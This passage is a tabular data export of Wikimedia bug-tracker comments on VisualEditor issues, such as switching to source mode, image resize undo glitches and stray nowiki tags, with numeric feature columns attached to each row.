my hack has been broken by some change in the VE product, and the deployment of this fix has now been delayed one month. Siebrand gave the patch a +1 a week ago. What is next for this to be committed and go live?",,,1380680609,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,13,,2.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,10.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,13.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,8.0,10.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,10.0,7.0,2.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.540983606557377,0.819672131147541,"btw I found this was requested back in April 2013

URL

my hack has been broken by some change in the VE product, and the deployment of this fix has now been delayed one month. Siebrand gave the patch a +1 a week ago. What is next for this to be committed and go live?"
254062,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"Change 83049 had a related patch set uploaded by Esanders:
Button tool to switch to edit source with changes

https://gerrit.wikimedia.org/r/83049",,,1378428058,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,17.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.478260869565218,0.9565217391304348,"Change 83049 had a related patch set uploaded by Esanders:
Button tool to switch to edit source with changes

GERRIT_URL"
254056,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"It isnt that tricky.  Here is a prototype.

https://en.wikipedia.org/wiki/User:John_Vandenberg/switch_editor

The UI could be improved.",,,1374791298,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,24.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.8095238095238095,"It isnt that tricky.  Here is a prototype.

URL

The UI could be improved."
254053,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,Also this would be useful to allow people to save unfinished changes for later completion.,,,1373308518,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,0.9375,Also this would be useful to allow people to save unfinished changes for later completion.
254049,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"The ability to salvage incomplete edits could have other usefulness.

Copying from English Wikipedia:

I can attest to that, I have done the same thing and so due to inactivity the 'invalid token' message is appearing. No idea what to do, currently my tab is still open containing my edits which cannot be saved, I don't want to start over (quite a bit of work here), any suggestions? Copy-pasting to a text editor is not an option since I did mainly lot of linking and minor fixes. -Ugog Nizdast (talk) 10:04, 3 July 2013 (UTC)",,,1372944038,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,0,,1.0,0.0,0.0,1.0,2.5,4.5,1.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5,0.5,5.5,7.5,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,2.0,1.5,0.0,0.0,0.5,0.5,0.0,4.0,2.5,8.5,1.0,1.5,7.0,0.0,0.0,0.0,0.0,4.5,0.0,2.5,0.0,3.5,7.5,4.5,1.0,1.0,0.0,3.5,0.0,1.0,2.5,0.0,2.5,0.0,0.0,0.0,3.6600282485875706,0.7984463276836158,"The ability to salvage incomplete edits could have other usefulness.

Copying from English Wikipedia:

I can attest to that, I have done the same thing and so due to inactivity the 'invalid token' message is appearing. No idea what to do, currently my tab is still open containing my edits which cannot be saved, I don't want to start over (quite a bit of work here), any suggestions? Copy-pasting to a text editor is not an option since I did mainly lot of linking and minor fixes. -Ugog Nizdast (talk) 10:04, 3 July 2013 (UTC)"
52682,"VisualEditor: ""Undo"" of image resizing causes wonky displacement","From English Wikipedia:

'''Steps to reproduce:'''
* Edit the [[Vogrie House]] article in the visual editor.
* Resize the image. Larger or smaller doesn't matter.
* Press either CTRL + Z, or undo the edit using the undo button. 

Instead of undoing the edit, it suddenly enlarges the image object. The image is placed in the center of the screen, and the object itself even overlaps the main navigation in the Mono interface. Of course as always: Firefox 22 used to test this. [[User:Excirial|<font color=""191970"">'''Excirial''']]</font><sup> ([[User talk:Excirial|<font color=""FF8C00"">Contact me</font>]],[[Special:Contributions/Excirial|<font color=""FF8C00"">Contribs</font>]])</sup> 18:03, 3 July 2013 (UTC)

See screenshot:
http://en.wikipedia.org/wiki/File:VisualEditor_-_Undoing_a_resize_issue.png

I tried on Chrome on a Mac, and it didn't work there, either, but instead shoved the image to the left of the screen

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372875420,1372901775.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-vpsb5oulcmbkksi2sshi,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.5,1.0,3.5,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.5,0.0,5.5,7.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.5,3.5,0.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.5,0.5,16.5,0.0,3.5,9.0,0.0,0.0,0.0,0.0,3.5,0.0,3.5,0.0,2.0,7.0,7.0,0.0,1.0,0.0,2.0,0.0,0.0,0.5,0.5,1.0,1.0,0.0,4.0,4.178801546391752,0.6425579896907216,"From English Wikipedia:

'''Steps to reproduce:'''
* Edit the [[Vogrie House]] article in the visual editor.
* Resize the image. Larger or smaller doesn't matter.
* Press either CTRL + Z, or undo the edit using the undo button. 

Instead of undoing the edit, it suddenly enlarges the image object. The image is placed in the center of the screen, and the object itself even overlaps the main navigation in the Mono interface. Of course as always: Firefox 22 used to test this. [[User:Excirial|<font color=""191970"">'''Excirial''']]</font><sup> ([[User talk:Excirial|<font color=""FF8C00"">Contact me</font>]],[[Special:Contributions/Excirial|<font color=""FF8C00"">Contribs</font>]])</sup> 18:03, 3 July 2013 (UTC)

See screenshot:
URL

I tried on Chrome on a Mac, and it didn't work there, either, but instead shoved the image to the left of the screen

--------------------------
**Version**: unspecified
**Severity**: normal"
253797,"VisualEditor: ""Undo"" of image resizing causes wonky displacement","We've now fixed this, and deployed it; sorry for the issue.",,,1372901775,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vpsb5oulcmbkksi2sshi,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2666666666666666,1.0,"We've now fixed this, and deployed it; sorry for the issue."
52659,VisualEditor: Miscellaneous additions of nowiki tags,"In https://en.wikipedia.org/w/index.php?title=List_of_socialist_countries&curid=7252916&diff=562675715&oldid=562675131

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372853220,1373638390.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-u7msjuo24hkzquuc5w2p,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.85,0.55,"In URL

--------------------------
**Version**: unspecified
**Severity**: normal"
252442,VisualEditor: Miscellaneous additions of nowiki tags,"(In reply to comment #4)
> Has the fix been rolled out to svwp?

It has.

> Because I just got a similar error where
> the nowiki was added far from where I was doing my actual changes:
> 
> http://sv.wikipedia.org/w/index.
> php?title=Stockholm_Arlanda_Airport&diff=22544469&oldid=22428046

I believe that that is actually a different bug here, with Parsoid being overly keen to add <nowiki>, rather than this motley collection of other kinds of <nowiki> issues. :-(",,,1373841311,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u7msjuo24hkzquuc5w2p,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,16.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,3.0,13.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.435483870967742,0.6935483870967742,"(In reply to comment #4)
QUOTE

It has.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I believe that that is actually a different bug here, with Parsoid being overly keen to add <nowiki>, rather than this motley collection of other kinds of <nowiki> issues. :-("
252435,VisualEditor: Miscellaneous additions of nowiki tags,"Has the fix been rolled out to svwp? Because I just got a similar error where the nowiki was added far from where I was doing my actual changes:

http://sv.wikipedia.org/w/index.php?title=Stockholm_Arlanda_Airport&diff=22544469&oldid=22428046",,,1373831819,,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,,PHID-TASK-u7msjuo24hkzquuc5w2p,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,12.0,12.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,9.0,15.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,12.0,3.0,3.0,0.0,0.0,9.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6666666666666665,0.8787878787878788,"Has the fix been rolled out to svwp? Because I just got a similar error where the nowiki was added far from where I was doing my actual changes:

URL"
252431,VisualEditor: Miscellaneous additions of nowiki tags,"First one: This is NOTABUG. User has selected/inserted the wrong text if they didn't want this - see bug 51173.

Second one: Definitely a bug, and one which I believe we have now fixed with the changes to how <nowiki>s are applied in Parsoid.

Third one: Same as two - appears now to be fixed. Sorry for the inconvenience. :-(

Fourth one: This is NOTABUG. User has created a paragraph with some leading whitespace, which means Parsoid needs to do something to stop it turning into a preformatted block. The solution is inelegant (we don't need to select the entire paragraph to stop this), but that is bug 50841.",,,1373638390,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u7msjuo24hkzquuc5w2p,task_subcomment,,True,c1,3,True,,,1,,0.5,0.5,0.0,1.0,1.0,4.5,0.5,0.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,1.5,0.0,3.5,8.0,0.5,3.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,1.0,0.5,0.0,0.5,0.0,0.0,0.0,7.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,5.0,4.0,10.0,1.0,1.0,10.5,0.0,0.0,0.0,0.0,5.5,0.5,4.5,0.0,3.0,8.0,4.5,0.0,0.0,0.0,3.0,0.0,1.5,2.0,0.0,1.5,0.0,0.0,0.5,3.735294117647059,0.7941176470588236,"First one: This is NOTABUG. User has selected/inserted the wrong text if they didn't want this - see bug 51173.

Second one: Definitely a bug, and one which I believe we have now fixed with the changes to how <nowiki>s are applied in Parsoid.

Third one: Same as two - appears now to be fixed. Sorry for the inconvenience. :-(

Fourth one: This is NOTABUG. User has created a paragraph with some leading whitespace, which means Parsoid needs to do something to stop it turning into a preformatted block. The solution is inelegant (we don't need to select the entire paragraph to stop this), but that is bug 50841."
252429,VisualEditor: Miscellaneous additions of nowiki tags,"Here are two more in case it helps with diagnosis:

https://fr.wikipedia.org/w/index.php?diff=94682339

https://en.wikipedia.org/w/index.php?diff=562790609",,,1372941123,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-u7msjuo24hkzquuc5w2p,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.4,0.8666666666666667,"Here are two more in case it helps with diagnosis:

URL

URL"
252425,VisualEditor: Miscellaneous additions of nowiki tags,Again at https://en.wikipedia.org/w/index.php?title=Beximco&curid=1725818&diff=562676888&oldid=561183206 (possibly related?),,,1372853999,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-u7msjuo24hkzquuc5w2p,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Again at URL (possibly related?)
52652,VisualEditor: VE interface overlapping with main WP interface in monobook w/ small resolutions,"See https://en.wikipedia.org/wiki/File:Visual_Editor_-_Overlapping_issue.png

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372843980,1372893914.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-n27a25omdfur3socqod5,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,0.55,"See URL

--------------------------
**Version**: unspecified
**Severity**: normal"
252127,VisualEditor: VE interface overlapping with main WP interface in monobook w/ small resolutions,Deployed and confirmed as fixed.,,,1372893914,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n27a25omdfur3socqod5,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,Deployed and confirmed as fixed.
252121,VisualEditor: VE interface overlapping with main WP interface in monobook w/ small resolutions,I think that this was fixed in gerrit 70851 - we'll be deploying it later today.,,,1372867380,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n27a25omdfur3socqod5,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,11.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.611111111111111,1.0,I think that this was fixed in gerrit 70851 - we'll be deploying it later today.
52645,VisualEditor: Resizing an image which doesn't already have an explicit size set doesn't work,"What it says on the tin; if you resize an image, it with reports ""this isn't a change, can't save"" or saves and silently doesn't do anything.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372840560,1392223392.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-l36v7qffhro3qiv5v3ya,task_description,resolved,True,c1,3,False,False,False,0,,0.0,2.0,0.0,0.0,6.0,4.0,2.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,7.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,6.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,4.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,3.462962962962963,0.7407407407407407,"What it says on the tin; if you resize an image, it with reports ""this isn't a change, can't save"" or saves and silently doesn't do anything.

--------------------------
**Version**: unspecified
**Severity**: normal"
251735,VisualEditor: Resizing an image which doesn't already have an explicit size set doesn't work,Moved to bug 61270,,,1392223392,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-l36v7qffhro3qiv5v3ya,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Moved to bug 61270
251726,VisualEditor: Resizing an image which doesn't already have an explicit size set doesn't work,"I'm not sure if this is the same issue, but as reported on English Wikipedia and tested by myself, using the image resizer to ""Make full size"" resulted in either a notice that no change had been made or a silent failure to save.

This was tested on FF26, W7 and Chrome 32.0.1700.107 m, W7. 

The reporting editor concludes that ""These new settings, for what they are worth, only work if the image already has a size indication (200px, 250px*250px, whatever), not when it only has a 'thumb' indication. Sadly, the latter is the default and by far most common situation.""

He also questions the purpose of ""Make full size"", but I'll report that separately. 

See: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=595141503#Advanced_image_settings.3F_More_VisualEditor_rubbish.",,,1392214363,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-l36v7qffhro3qiv5v3ya,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,1.0,1.0,5.0,2.0,0.0,0.0,1.0,1.0,2.5,0.0,1.5,0.0,1.5,0.0,7.0,8.5,0.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,0.5,0.0,0.5,0.0,5.0,1.5,0.5,1.5,0.0,0.0,0.0,1.5,0.0,0.5,1.5,0.0,2.0,0.0,0.5,0.5,0.0,1.0,10.5,1.5,0.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.5,3.0,9.5,3.5,4.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5,8.5,5.5,0.0,5.0,0.0,3.5,0.0,2.0,2.5,0.5,0.5,0.0,0.5,0.0,3.6733333333333333,0.7666666666666666,"I'm not sure if this is the same issue, but as reported on English Wikipedia and tested by myself, using the image resizer to ""Make full size"" resulted in either a notice that no change had been made or a silent failure to save.

This was tested on FF26, W7 and Chrome 32.0.1700.107 m, W7. 

The reporting editor concludes that ""These new settings, for what they are worth, only work if the image already has a size indication (200px, 250px*250px, whatever), not when it only has a 'thumb' indication. Sadly, the latter is the default and by far most common situation.""

He also questions the purpose of ""Make full size"", but I'll report that separately. 

See: URL"
251720,VisualEditor: Resizing an image which doesn't already have an explicit size set doesn't work,*** Bug 51026 has been marked as a duplicate of this bug. ***,,,1374106684,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l36v7qffhro3qiv5v3ya,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51026 has been marked as a duplicate of this bug. ***
251715,VisualEditor: Resizing an image which doesn't already have an explicit size set doesn't work,Fixed and will be going out in a few minutes.,,,1374015979,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l36v7qffhro3qiv5v3ya,task_subcomment,,True,c1,3,True,,,2,,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,3.272727272727273,1.0,Fixed and will be going out in a few minutes.
251709,VisualEditor: Resizing an image which doesn't already have an explicit size set doesn't work,"Change 73965 merged by jenkins-bot:
Create MWResizeableNode mixin to control defaultSize flag

